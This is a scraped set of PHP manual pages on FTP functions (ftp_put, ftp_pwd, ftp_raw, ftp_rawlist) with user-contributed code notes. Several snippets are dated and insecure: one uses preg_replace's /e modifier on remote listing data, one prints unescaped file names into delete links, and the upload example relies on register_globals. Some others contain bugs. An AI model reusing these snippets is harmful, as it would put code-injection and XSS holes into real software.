<form name="Attachments"  method=POST action="sendimage.php" enctype="multipart/form-data">

<input type=hidden name=box value="">

<tr>
<td nowrap width="1%">&nbsp;&nbsp;<b>Image:</b></td>
<td colspan=2>
<input type=file name=source_file size=20> <br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

</td>
</tr>
<input type=submit name=btnSubmit value=Submit size=20 style="border: 1px solid #0000FF"></form>
</body>
</html>

The critical point in this form is the usage of  enctype="multipart/form-data"
If you don't use this part your upload operations won't work.
Then u must create sendimage.php as follows:

<?php

    $ftp_server='190.148.20.201';//serverip
    $conn_id = ftp_connect($ftp_server);

    // login with username and password
    $user="username";
    $passwd="*****";
    $login_result = ftp_login($conn_id, $user, $passwd);

// check connection
   if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        die;
    } else {
        echo "<br>Connected to $ftp_server, for user $user<br>";
    }
//directorylike /www.velibaba.com/images
  ftp_chdir($conn_id, "www.velibab.com");
  ftp_chdir($conn_id, "compimages");

//$destination_file=ftp_pwd($conn_id);

$destination_file="x.jpg";
echo ("<br>");
print $destination_file;

echo ("<br>");

// upload the file
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);

// check upload status
if (!$upload) {
        echo "FTP upload has failed!";
    } else {
        echo "Uploaded $source_file to $ftp_server as $destination_file";
    }

// close the FTP stream
ftp_close($conn_id);
?>

In this example code $source_file is the path of the file in your disk, and destination file is the name of the uploaded file in ftpserver.
In this code I use ftp_chdir to give the path of the
 uploaded file within ftpserver..
For your questions about all categories of PHP my email:kiwo1@yahoo.com
c u...
clambert at whitecrown dot net 29-Jun-2001 07:24
When using versions of PHP below 4.04b4, the ftp_put command doesn't work on NT/IIS4. Most of the other functions will work, but there was a bug while trying to send upstream data to an IIS webserver.
ftp_pasv
ftp_pwd
FTP Functions


Returns the current directory name

ftp_put
ftp_quit
FTP Functions
PHP Manual

ftp_pwd

(PHP 4, PHP 5)

ftp_pwd — Returns the current directory name

Description

string ftp_pwd ( resource $ftp_stream )

Parameters

ftp_stream

The link identifier of the FTP connection.

Return Values

Returns the current directory name or FALSE on error.

Examples

Example #1 ftp_pwd() example

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// change directory to public_html
ftp_chdir($conn_id, 'public_html');

// print current directory
echo ftp_pwd($conn_id); // /public_html

// close the connection
ftp_close($conn_id);
?>

See Also

  • ftp_chdir() - Changes the current directory on a FTP server
  • ftp_cdup() - Changes to the parent directory

User Contributed Notes

mike dot hall at opencube dot co dot uk 31-May-2001 09:15
This function doesn't always go to the remote server for the PWD. Once called the PWD is cached, and until PHP has a reason to believe the directory has changed any call to ftp_pwd() will return from the cache, even if the remote server has gone away.
ftp_put
ftp_quit
FTP Functions


Alias of ftp_close

ftp_pwd
ftp_raw
FTP Functions
PHP Manual

ftp_quit

(PHP 4, PHP 5)

ftp_quit — Alias of ftp_close()

Description

This function is an alias of: ftp_close().

User Contributed Notes

There are no user contributed notes for this page.
ftp_pwd
ftp_raw
FTP Functions


Sends an arbitrary command to an FTP server

ftp_quit
ftp_rawlist
FTP Functions
PHP Manual

ftp_raw

(PHP 5)

ftp_raw — Sends an arbitrary command to an FTP server

Description

array ftp_raw ( resource $ftp_stream , string $command )

Sends an arbitrary command to the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

command

The command to execute.

Return Values

Returns the server's response as an array of strings. No parsing is performed on the response string, nor does ftp_raw() determine if the command succeeded.

Examples

Example #1 Using ftp_raw() to login to an FTP server manually.

<?php
$fp = ftp_connect("ftp.example.com");

/* This is the same as:
   ftp_login($fp, "joeblow", "secret"); */
ftp_raw($fp, "USER joeblow");
ftp_raw($fp, "PASS secret");
?>

See Also

  • ftp_exec() - Requests execution of a command on the FTP server

User Contributed Notes

WebSee.ru 10-Aug-2009 11:38
How to realize the possibility of transferring data from one FTP-server to another via FXP?

<?php
// ...

$ansver = ftp_raw($ftp_conn1, 'PASV');

if (intval($ansver[0]) == 227) {
    ftp_raw($ftp_conn2, 'PORT '.substr($ansver[0], $n = strpos($ansver[0], '(') + 1, strpos($m[0], ')', $n) - $n));
    ftp_raw($ftp_conn1, 'STOR '.$filename); // need asynchronously (non-blocking)
    ftp_raw($ftp_conn2, 'RETR '.$filename);
}
?>
www.bossftp.com 05-Nov-2008 06:32
Note that the $command can not contains any illegal character such as \n, \r, \t, or this function will return NULL.

Try using the trim() before calling ftp_raw().

<?php
ftp_raw($connid, trim($command));
?>
nightwalker85 at gmail dot com 19-Apr-2005 04:32
<?
ftp_raw($ftpconn,"CLNT <client>");
?>

Is a good way to let the ftp-server know which client it's dealing with. Guess this can be useful if you're making a homemade ftp-client. Only do this if the ftp-server has responded to FEAT command with a response including CLNT.
ftp_quit
ftp_rawlist
FTP Functions


Returns a detailed list of files in the given directory

ftp_raw
ftp_rename
FTP Functions
PHP Manual

ftp_rawlist

(PHP 4, PHP 5)

ftp_rawlist — Returns a detailed list of files in the given directory

Description

array ftp_rawlist ( resource $ftp_stream , string $directory [, bool $recursive = false ] )

ftp_rawlist() executes the FTP LIST command, and returns the result as an array.

Parameters

ftp_stream

The link identifier of the FTP connection.

directory

The directory path. May include arguments for the LIST command.

recursive

If set to TRUE, the issued command will be LIST -R.

Return Values

Returns an array where each element corresponds to one line of text.

The output is not parsed in any way. The system type identifier returned by ftp_systype() can be used to determine how the results should be interpreted.

Examples

Example #1 ftp_rawlist() example

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// get the file list for /
$buff = ftp_rawlist($conn_id, '/');

// close the connection
ftp_close($conn_id);

// output the buffer
var_dump($buff);
?>

The above example will output something similar to:

array(3) {
  [0]=>
  string(65) "drwxr-x---   3 vincent  vincent      4096 Jul 12 12:16 public_ftp"
  [1]=>
  string(66) "drwxr-x---  15 vincent  vincent      4096 Nov  3 21:31 public_html"
  [2]=>
  string(73) "lrwxrwxrwx   1 vincent  vincent        11 Jul 12 12:16 www -> public_html"
}

Changelog

Version | Description
4.3.0 | recursive was added.

See Also

  • ftp_nlist() - Returns a list of files in the given directory

User Contributed Notes

postmaster at alishomepage dot com 29-Apr-2011 11:13
One thing about the UNIX/Windows difference is that Windows will always start by listing the date, which is a number.

You can simply use that fact for parsing:

<?php
// Function to parse ftp_rawlist (UNIX and Windows)
$list=ftp_rawlist($conn_id,"");
for($i=0;$i<sizeof($list);$i++){
    if($list[$i][0]>='0' && $list[$i][0]<='9'){
        // Windows first gives the date
        // ...
    }else{
        // UNIX
        // ...
    }
}
?>
Johnny Doe 24-Nov-2010 06:18
In case anybody wants to get a detailed listing using the MLSD command over a passive connection, the following function might be helpful as a starting point for your own implementation:

<?php
function ftp_mlsd($ftp, $directory) {
    $ok = @ftp_chdir($ftp, $directory);
    if (!$ok) {
        return false;
    }
    $ret = ftp_raw($ftp, 'PASV');
    if (preg_match(
        '/^227.*\(([0-9]+,[0-9]+,[0-9]+,[0-9]+),([0-9]+),([0-9]+)\)$/',
        $ret[0], $matches)) {
        $controlIP = str_replace(',', '.', $matches[1]);
        $controlPort = intval($matches[2])*256+intval($matches[3]);
        $socket = fsockopen($controlIP, $controlPort);
        ftp_raw($ftp, 'MLSD');
        $s = '';
        while (!feof($socket)) {
            $s .= fread($socket, 4096);
        }
        fclose($socket);
        $files = array();
        foreach (explode("\n", $s) as $line) {
            if (!$line) {
                continue;
            }
            $file = array();
            foreach (explode(';', $line) as $property) {
                list($key, $value) = explode('=', $property);
                if ($value) {
                    $file[$key] = $value;
                } else {
                    $filename = trim($key);
                }
            }
            $files[$filename] = $file;
        }
        return $files;
    }
    return false;
}
?>

Please note that this function ignores the setting of ftp_pasv(). Making the function to work universally for both active and passive connections is left as an exercise to the reader ;-)
shaun at shaunfreeman dot co dot uk 13-May-2010 04:02
Get a listing of all files including hidden files except '.' or '..' use:

<?php
ftp_chdir($connid, $dir);
ftp_rawlist($connid, "-A");
?>

This had me dancing in circles for some time!
John 02-May-2010 04:46
There are a couple of php-related reasons given here for ftp_rawlist returning an empty result. However be aware that ZoneAlarm (and possibly other) firewalls can block responses without giving any visible clue so be sure to check that first.
nospam at advancedonsite dot com 03-Nov-2009 08:02
ftp_rawlist kept returning empty file listing, it would work on some machines but not others, it turned out to be ftp_pasv command was needed.
Very frustrating
ahmadmarafa at gmail dot com 23-Jun-2009 07:38
this is function to check for dirs

<?php
function ftp_isdir($connect_id,$dir)
{
    if(ftp_chdir($connect_id,$dir))
    {
        ftp_cdup($connect_id);
        return true;

    }
    else
    {
        return false;
    }
}
?>
tmp at gmx dot de 26-May-2009 04:20
To format the _recrusive_ result of this function I use this:

<?php
$conn_id = ftp_connect(FTP_SERVER);

$login_result = ftp_login($conn_id, FTP_USR, FTP_PASS);

$rawfiles = ftp_rawlist($conn_id, '/', true);

ftp_close($conn_id);

// here the magic begins!
$structure = array();
$arraypointer = &$structure;
foreach ($rawfiles as $rawfile) {
    if ($rawfile[0] == '/') {
        $paths = array_slice(explode('/', str_replace(':', '', $rawfile)), 1);
        $arraypointer = &$structure;
        foreach ($paths as $path) {
            foreach ($arraypointer as $i => $file) {
                if ($file['text'] == $path) {
                    $arraypointer = &$arraypointer[ $i ]['children'];
                    break;
                }
            }
        }
    } elseif(!empty($rawfile)) {
        $info = preg_split("/[\s]+/", $rawfile, 9);
        $arraypointer[] = array(
            'text'   => $info[8],
            'isDir'  => $info[0]{0} == 'd',
            'size'   => byteconvert($info[4]),
            'chmod'  => chmodnum($info[0]),
            'date'   => strtotime($info[6] . ' ' . $info[5] . ' ' . $info[7]),
            'raw'    => $info
            // the 'children' attribut is automatically added if the folder contains at least one file
        );
    }
}

// in $structure is all the data
print_r($structure);

// little helper functions
function byteconvert($bytes) {
    $symbol = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $exp = floor( log($bytes) / log(1024) );
    return sprintf( '%.2f ' . $symbol[ $exp ], ($bytes / pow(1024, floor($exp))) );
}

function chmodnum($chmod) {
    $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
    $chmod = substr(strtr($chmod, $trans), 1);
    $array = str_split($chmod, 3);
    return array_sum(str_split($array[0])) . array_sum(str_split($array[1])) . array_sum(str_split($array[2]));
}

?>
francois frao_o 12-Mar-2009 10:47
Why not using POSIX regex to do the job here ? A preg_replace returns the information in an associative array with the following keys:

<rights>
<number>
<owner>
<group>
<file_size>
<mod_time>
<file>
<type> * that's a bonus: it will tell you if the item is either a file or a directory

Code is shown below:

$list=@ftp_rawlist($con,$directory) ;

$items=array() ;

foreach($list as $_)
preg_replace(

'`^(.{10}+)(\s*)(\d{1})(\s*)(\d*|\w*)'.
'(\s*)(\d*|\w*)(\s*)(\d*)\s'.
'([a-zA-Z]{3}+)(\s*)([0-9]{1,2}+)'.
'(\s*)([0-9]{2}+):([0-9]{2}+)(\s*)(.*)$`Ue',

'$items[]=array(
"rights"=>"$1",
"number"=>"$3",
"owner"=>"$5", "group"=>"$7",
"file_size"=>"$9",
"mod_time"=>"$10 $12 $14:$15",
"file"=>"$17",
"type"=>print_r((preg_match("/^d/","$1"))?"dir":"file",1));',

$_) ; # :p
www.bosssftp.com 07-Nov-2008 02:43
Some FTP servers only allow you to get list of files under current working directory. So if you always get result as empty array (array(0){ }), try changing the cwd befor get the list:

<?php
function ftprawlist($connid, $dir) {
  ftp_chdir($connid, $dir);
  return ftp_rawlist($connid, "-a");
}
?>
phpnet uschlaepfer ch 03-Nov-2008 08:56
On my PC (XP and Apache installed) - ftp_rawlist (with Parameter true) does only print a folder list - no subfolders, no files.
So i created this recursive function that writes all filenames (incl. paths) to a array. I tested it on Mac, Linux and Windows - it works (as long as you don't use folders with spaces...).
If you need more information: feel free to set more split[x]-Options and write them to the $files-array.

<?php
# the directory where ftp_rawlist starts
$startdir = "example";

# optional Datatypefilter (leave blank if not needed)
$suffix   = "gif,png,jpeg,pdf,php";
# ftp-login
$ftp_server = "";
$ftp_user   = "";
$ftp_pw     = "";
$ftp_mode   = "";
$conn_id    = ftp_connect($ftp_server);
ftp_login($conn_id, $ftp_user, $ftp_pw) OR die("<br>ftp-login failed");
ftp_pasv($conn_id, true);

#*********************************************************************
# create filelist (recursiv)
#*********************************************************************
$files    = array(); # must be defined here
$files    = raw_list("$startdir");

#*********************************************************************
# print result
#*********************************************************************
$i = 0; $count = count($files);
while ($i < $count):
  echo "$files[$i]<br>";
  $i++;
endwhile;
ftp_close($conn_id);

#*********************************************************************
# rawlist in recursive form (without parameter true!!!)
#*********************************************************************
function raw_list($folder)
{
Global $conn_id;
Global $suffix;
Global $files;
$suffixes = explode(",", $suffix);
$list     = ftp_rawlist($conn_id, $folder);
$anzlist  = count($list);
$i = 0;
while ($i < $anzlist):
  $split    = preg_split("/[\s]+/", $list[$i], 9, PREG_SPLIT_NO_EMPTY);
  $ItemName = $split[8];
  $endung   = strtolower(substr(strrchr($ItemName,"."),1));
  $path     = "$folder/$ItemName";
  if (substr($list[$i],0,1) === "d" AND substr($ItemName,0,1) != "."):
#      array_push($files, $path); # write directory in array if desired
     raw_list($path);
  elseif (substr($ItemName,0,2) != "._" AND in_array($endung,$suffixes)):
     array_push($files, $path);
  endif;
  $i++;
endwhile;
return $files;
}
?>

Ueli, Zurich
paul maybe at squirrel mail org 24-Apr-2008 05:13
Regarding converting permissions from symbolic notation to octal, note that Hazem dot Khaled at gmail dot com's chmodnum function produces INCORRECT results.  The resutls are base-10 numbers that only LOOK like they are octal numbers.  The function also ignores setuid, setgid and sticky bits, and will produce incorrect numbers if such a file is encountered.  Instead, this brute-force code works.  Maybe there is something more slick, but this isn't too CPU-intensive (note that it assumes you've error-checked that you indeed have a 10-character string!):

      $permissions = 'drwxr-xr-x';  // or whatever
      $mode = 0;

      if ($permissions[1] == 'r') $mode += 0400;
      if ($permissions[2] == 'w') $mode += 0200;
      if ($permissions[3] == 'x') $mode += 0100;
      else if ($permissions[3] == 's') $mode += 04100;
      else if ($permissions[3] == 'S') $mode += 04000;

      if ($permissions[4] == 'r') $mode += 040;
      if ($permissions[5] == 'w') $mode += 020;
      if ($permissions[6] == 'x') $mode += 010;
      else if ($permissions[6] == 's') $mode += 02010;
      else if ($permissions[6] == 'S') $mode += 02000;

      if ($permissions[7] == 'r') $mode += 04;
      if ($permissions[8] == 'w') $mode += 02;
      if ($permissions[9] == 'x') $mode += 01;
      else if ($permissions[9] == 't') $mode += 01001;
      else if ($permissions[9] == 'T') $mode += 01000;

      printf('Mode is %d decimal and %o octal', $mode, $mode);
weltvolk 04-Jan-2008 06:17
With this handy function based on functions presented here you get the file list in alphabetical order with all directories on top:

<?php
function rawlist_dump() {
  global $ftp_connect;
  $ftp_rawlist = ftp_rawlist($ftp_connect, ".");
  foreach ($ftp_rawlist as $v) {
    $info = array();
    $vinfo = preg_split("/[\s]+/", $v, 9);
    if ($vinfo[0] !== "total") {
      $info['chmod'] = $vinfo[0];
      $info['num'] = $vinfo[1];
      $info['owner'] = $vinfo[2];
      $info['group'] = $vinfo[3];
      $info['size'] = $vinfo[4];
      $info['month'] = $vinfo[5];
      $info['day'] = $vinfo[6];
      $info['time'] = $vinfo[7];
      $info['name'] = $vinfo[8];
      $rawlist[$info['name']] = $info;
    }
  }
  $dir = array();
  $file = array();
  foreach ($rawlist as $k => $v) {
    if ($v['chmod']{0} == "d") {
      $dir[$k] = $v;
    } elseif ($v['chmod']{0} == "-") {
      $file[$k] = $v;
    }
  }
  foreach ($dir as $dirname => $dirinfo) {
      echo "[ $dirname ] " . $dirinfo['chmod'] . " | " . $dirinfo['owner'] . " | " . $dirinfo['group'] . " | " . $dirinfo['month'] . " " . $dirinfo['day'] . " " . $dirinfo['time'] . "<br>";
  }
  foreach ($file as $filename => $fileinfo) {
      echo "$filename " . $fileinfo['chmod'] . " | " . $fileinfo['owner'] . " | " . $fileinfo['group'] . " | " . $fileinfo['size'] . " Byte | " . $fileinfo['month'] . " " . $fileinfo['day'] . " " . $fileinfo['time'] . "<br>";
  }
}
rawlist_dump();
?>
reg (russia, vladimir) 02-Jul-2007 05:11
i'v wrote "php ftp recursive" function, you can use in any purposes you like. finally you will get an array of: 1) additional information like time an file's count 2) all files with extensions you defined with paths of course. the function is workable.

$values = array(
                         "sitename" => "abc.ru",
                         "ftpserver" => "u12345.ftp.masterhost.ru",
                         "ftpuser" => "u12345",
                         "ftppassword" => "mypassword",
                         "remotedir" => "abc.ru/www"
                        );
function getAllFilesViaFTP($values){
    $beginTime = time();
    echo "connecting to ".$values['sitename']."\n";
    // set up a connection or die
    if (!$conn_id = ftp_connect($values['ftpserver'])) return ("can't connect to ".$values['ftpserver']."\n");
    // try to login
    if (!@ftp_login($conn_id, $values['ftpuser'], $values['ftppassword'])) echo "can't login to ".$values['sitename']." with entered ".$ftp_user." and password(...) \n";
    // get the file list for $values['remotedir']
    $fileList = ftp_rawlist($conn_id, $values['remotedir'], TRUE);
    // print_r($fileList);
    $fileList_c = count($fileList);
    $allFiles = $allFilesCount = $allUseFulFilesCount = null;
    $currentDir = $values['remotedir'];
    for ($i=0;$i<$fileList_c;$i++){
        // change current dir, if current array element is an empty line
        if (!$fileList[$i]) $currentDir = $fileList[$i+1];
        else{
            $allFilesCount++;
            $fileInfo = list() = explode(" ", $fileList[$i]);
            // print_r($fileInfo);
            $fileName = $fileInfo[count($fileInfo) - 1];
            if (preg_match("/\.php/", $fileName) or preg_match("/\.htm/", $fileName) or preg_match("/\.html/", $fileName)){
                $allUseFulFilesCount++;
                $allFiles[] = preg_replace("/:/", "", $currentDir)."/".$fileName;
            }
        }
    }
    // close the connection
    ftp_close($conn_id);
    // time
    $fullTime = time() - $beginTime;
    $result = array (
                            "allFilesCount" => $allFilesCount,
                            "allUseFulFilesCount" => $allUseFulFilesCount,
                            "fullTime" => $fullTime,
                            "fileList" => $allFiles
                            );
    return $result;
}

$fileList = getAllFilesViaFTP($values);
print_r($fileList);
Hazem dot Khaled at gmail dot com 22-Nov-2006 01:25
that comment have 4 function
the 1st function "<b>get_files</b>" get the list of files by the full bath "/www/ex/"
and return 3 arrays
dir = the directories in this directory with the time ,date ,more ...
linke = the links in this directory with the time ,date ,more ...
file = the files in this directory with the time ,date ,more ...

the 2nd function "chmodnum" convert from "drwxrwxrwx" to "777"
* i found it in php.net manual

the 3rd function "get_size" convert from the byte to MB or GB or TB

the 4th function "get_type" return if this file or directory or link

the functions
<?php
    function get_files($path = '')
     {
         if ($path == '' && !$_GET['path'])
          {
             $path = '/';
          }
         elseif ($path == '')
          {
             $path = $_GET['path'];
          }

        //$all_folders = ftp_nlist($this->conection, $_GET['path']);
        $array = ftp_rawlist($this->conection, $path);
        if (is_array($array))
        foreach ($array as $folder)
         {
            $struc = array();
            $current = preg_split("/[\s]+/",$folder,9);

            $struc['perms']    = $current[0];
            $struc['permsn']= chmodnum($current[0]);
            $struc['number']= $current[1];
            $struc['owner']    = $current[2];
            $struc['group']    = $current[3];
            $struc['size']    = get_size($current[4]);
            $struc['month']    = $current[5];
            $struc['day']    = $current[6];
            $struc['time']    = $current[7];
            $struc['name']    = str_replace('//','',$current[8]);
            //$struc['raw']    = $folder;

            if ($struc['name'] != '.' && $struc['name'] != '..' && get_type($struc['perms']) == "folder")
             {
                $folders[] = $struc;
             }
            elseif ($struc['name'] != '.' && $struc['name'] != '..' && get_type($struc['perms']) == "link")
             {
                $links[] = $struc;
             }
            elseif ($struc['name'] != '.' && $struc['name'] != '..')
             {
                $files[] = $struc;
             }
         }
        return array($folders,$links,$files);
     }

    function chmodnum($mode) {
       $realmode = "";
       $legal =  array("","w","r","x","-");
       $attarray = preg_split("//",$mode);
       for($i=0;$i<count($attarray);$i++){
           if($key = array_search($attarray[$i],$legal)){
               $realmode .= $legal[$key];
           }
       }
       $mode = str_pad($realmode,9,'-');
       $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
       $mode = strtr($mode,$trans);
       $newmode = '';
       $newmode .= $mode[0]+$mode[1]+$mode[2];
       $newmode .= $mode[3]+$mode[4]+$mode[5];
       $newmode .= $mode[6]+$mode[7]+$mode[8];
       return $newmode;
    }
    function get_size($size)
     {
         if ($size < 1024)
          {
              return round($size,2).' Byte';
          }
         elseif ($size < (1024*1024))
          {
              return round(($size/1024),2).' MB';
          }
         elseif ($size < (1024*1024*1024))
          {
              return round((($size/1024)/1024),2).' GB';
          }
         elseif ($size < (1024*1024*1024*1024))
          {
              return round(((($size/1024)/1024)/1024),2).' TB';
          }
     }

    function get_type($perms)
     {
        if (substr($perms, 0, 1) == "d")
         {
            return 'folder';
         }
        elseif (substr($perms, 0, 1) == "l")
         {
            return 'link';
         }
        else
         {
            return 'file';
         }
     }
?>
ari at bs-inc dot com 17-Oct-2006 01:24
This is a little cleaner:

function parse_rawlist( $array )
{
    foreach($array as $curraw)
    {
        $struc = array();
        $current = preg_split("/[\s]+/",$curraw,9);

        $struc['perms']  = $current[0];
        $struc['number'] = $current[1];
        $struc['owner']  = $current[2];
        $struc['group']  = $current[3];
        $struc['size']  = $current[4];
        $struc['month']  = $current[5];
        $struc['day']    = $current[6];
        $struc['time']  = $current[7];
        $struc['year']  = $current[8];
        $struc['raw']  = $curraw;
        $structure[$struc['name']] = $struc;
    }
   return $structure;

}
kerbpm 15-Sep-2006 02:31
Your code is ok, just replace $i = 0 instead of 1
Thank you

<?php

function parse_rawlist( $array ) {

   for ( $i = 1; $i < count($array); $i++ ) {

       $current = $array[$i];

       $structure[$i]['perms']  = substr($current, 0, 10);
       $structure[$i]['number'] = trim(substr($current, 11, 3));
       $structure[$i]['owner']  = trim(substr($current, 15, 8));
       $structure[$i]['group']  = trim(substr($current, 24, 8));
       $structure[$i]['size']  = trim(substr($current, 33, 8));
       $structure[$i]['month']  = trim(substr($current, 42, 3));
       $structure[$i]['day']    = trim(substr($current, 46, 2));
       $structure[$i]['time']  = substr($current, 49, 5);
       $structure[$i]['name']  = substr($current, 55, strlen($current) - 55);

   }

   return $structure;

}

?>
MSpreij at GMail 09-Sep-2006 05:11
The following was inspired by a few others here, ofcourse ;-)
Works for filenames with spaces (leading, trailing, consecutive and what not), formats the date a little taking year/time into account, leaves out items not in the $filetypes array below, and returns a nice nested assoc array:

<?php

$filetypes = array('-'=>'file', 'd'=>'directory', 'l'=>'link');

$c = ftp_connect('localhost');
ftp_login($c, 'jackcrow', 'banshee');
$data = ftp_rawlist($c, '/users/jackcrow');

foreach($data as $line) {
    if (substr(strtolower($line), 0, 5) == 'total') continue; # first line, skip it
    preg_match('/'. str_repeat('([^\s]+)\s+', 7) .'([^\s]+) (.*)/', $line, $matches); # Here be Dragons
    list($permissions, $children, $owner, $group, $size, $month, $day, $time, $name) = array_slice($matches, 1);
    # if it's not a file, directory or link, I don't really care to know about it :-) comment out the next line if you do
    if (! in_array($permissions[0], array_keys($filetypes))) continue;
    $type = $filetypes[$permissions[0]];
    $date = date('d/m/y H:i', (strpos($time, ':') ? mktime(substr($time, 0, 2), substr($time, -2), 0, $month, $day) : mktime(0,0,0,$month, $day, $time) ) );
    $files[$name] = array('type'=>$type, 'permissions'=>substr($permissions, 1), 'children'=>$children, 'owner'=>$owner, 'group'=>$group, 'size'=>$size, 'date'=>$date);
}

print_r($files);

?>

(I'm using a pretty simple regex pattern (non-space-stuff, whitespace, non-space-stuff etc), but amazingly /it still works!/ K.I.S.S.! The time part in the pattern is done separately to make sure only 1 space is taken out before the filename, which might start with spaces for all you know)
admin at mikeholloway dot co dot uk 03-Dec-2005 02:38
I was having problems picking up the directories on a mac using cjacobsen at pge dot cl's (11-Jan-05) solution. Slight ammendment to the regexp works for me:

ereg("([-dl][rwxstST-]+).* ?([0-9 ]* )?([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)
d dot lloyd at tnw dot tudelft dot nl 27-Sep-2005 06:22
One comment regaring the method tig3r uses to determine the listing type.

Windows servers can return a listing in unix format if the ftp server has been told to use unix formatting. The only robust solution I have is to try both ereg commands once and see which one successfully returns an array.
tig3r at poczta dot onet dot pl 18-Aug-2005 03:31
Previous example (by davidknoll at o2 dot co dot uk) works well if ftp_systype() returned "UNIX", but sometimes I am experiencing "Windows_NT". Here is some improvement:

<?php
function parsed_listing($path)
{
   $conn = ftp_connect(FTP_HOST);
   ftp_login($conn, FTP_USER, FTP_PASS);
   $systype = ftp_systype($conn_id);
   $list = ftp_rawlist($conn, "-a ".FTP_BASE.$path);
   ftp_close($conn);
   $i = 0;

   foreach ($list as $current) {
      switch ($systype) {
         case "Windows_NT":
         ereg("([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)",$current,$split);
         if (is_array($split)) {
            if ($split[3]<70) { $split[3]+=2000; } else { $split[3]+=1900; } // 4digit year fix
            $parsed[$i]['isdir'] = ($split[7]=="<DIR>");
            $parsed[$i]['size'] = $split[7];
            $parsed[$i]['month'] = $split[1];
            $parsed[$i]['day'] = $split[2];
            $parsed[$i]['time/year'] = $split[3];
            $parsed[$i]['name'] = $split[8];
            $i++;
         }
         break;

         case "UNIX":
         default:

// etc.

         break;
      }
   }
   return $parsed;
}
?>
davidknoll at o2 dot co dot uk 14-Jul-2005 04:00
Well, this works for me:

<?php
function parsed_listing($path)
{
    $conn = ftp_connect(FTP_HOST);
    ftp_login($conn, FTP_USER, FTP_PASS);
    $list = ftp_rawlist($conn, "-a ".FTP_BASE.$path);
    ftp_close($conn);
    $i = 0;
    foreach ($list as $current) {
        $split = preg_split("[ ]", $current, 9, PREG_SPLIT_NO_EMPTY);
        if ($split[0] != "total") {
            $parsed[$i]['isdir']        = $split[0]{0} === "d";
            $parsed[$i]['perms']        = $split[0];
            $parsed[$i]['number']    = $split[1];
            $parsed[$i]['owner']        = $split[2];
            $parsed[$i]['group']        = $split[3];
            $parsed[$i]['size']        = $split[4];
            $parsed[$i]['month']        = $split[5];
            $parsed[$i]['day']        = $split[6];
            $parsed[$i]['time/year']    = $split[7];
            $parsed[$i]['name']        = $split[8];
            $i++;
        }
    }
    return $parsed;
}
?>
nate at 8networks dot com 07-May-2005 12:41
this snip fixes the date problem with the listing and sorts out the variables:

$filedata['access_permissions']
$filedata['link_count']
$filedata['uid']
$filedata['gid']
$filedata['size']
$filedata['mod_date_month']
$filedata['mod_date_day']
$filedata['mod_time']
$filedata['name']

list($filedata['access_permissions'], $filedata['link_count'], $filedata['uid'], $filedata['gid'], $filedata['size'], $filedata['mod_date_month'], $filedata['mod_date_day'], $filedata['mod_time'], $filedata['name']) = preg_split("/[\s,]+/", $value);

$filedata['type'] = $filedata['access_permissions']{0};

$filedata['access_permissions'] = substr($filedata['access_permissions'],1);

// now check the date to see if the last modifcation was this year or last.

if ( strrpos($filedata['mod_time'], ':') != 2 ) { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . $filedata['mod_time']; $filedata['mod_time'] = "00:00"; } else { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . date("Y"); }
john at nm-design dot com 29-Apr-2005 10:14
I'm not a traditional programmer, so I often take a different approach then most programmers. Here's how I get file information from an FTP file list. It's very simple (which I like). Comments are welcome:

    // make your FTP connection calls here, then ...
    $contents = ftp_rawlist($ftp_id, ".");

    echo '<TABLE>';

    foreach ($contents as $key => $value) {

        $info = explode(" ", $value);
        $clean = array();
        foreach ($info as $key => $value) {
            if (!empty($value)) { $clean[] = $value; }
        } // end foreach loop 2

        if ( ($clean[8] != ".") AND ($clean[8] != "..") AND ($clean[8] != "html") AND ($clean[8] != "logs") AND ($clean[8] != "protected") AND ($clean[8] != "sys") ) {
            echo '<TR>';
            print "<TD WIDTH=\"40%\">$clean[8]</TD>"; // name of file
            print "<TD WIDTH=\"20%\" ALIGN=\"CENTER\">$clean[5] $clean[6] $clean[7]</TD>"; // date info
            // prep size
            $size = $clean[4];
            $size = $size / 1000; $size = ceil($size); if ($size <= 0) { $size = 1; }
            if ($size >= 1000) { $measure = "MB"; $size = $size /  1000; } else { $measure = "K"; }
            print "<TD WIDTH=\"20%\" ALIGN=\"CENTER\">$size $measure</TD>"; // size
            echo '<TD WIDTH="20%" ALIGN="CENTER" BGCOLOR="#FFFFE6" CLASS="bodyBold">'; print "<A HREF=\"$PHP_SELF?Submit=DELETE&file=$clean[8]\">"; echo 'DELETE</A></TD>'; // link to delete file
            echo '</TR>';
        } // end if

    } // end foreach loop 1

    echo '</TABLE>';
marc dot peterlongo at francetelecom dot com 03-Feb-2005 02:57
When you try:

$path = "directory pathname with spaces";
$list = ftp_rawlist($conn_id,$path);

It doesn't work

but when you try:

$path = "directory pathname with spaces";
ftp_chdir($conn_id,$path);
$list = ftp_rawlist($conn_id,".");

It works
cjacobsen at pge dot cl 11-Jan-2005 05:44
Excelent expresion, but don't match SUID, SGUI and Sticky flags when 'x' is disabled. Fix it with [rwxstST-].

<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxstST-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
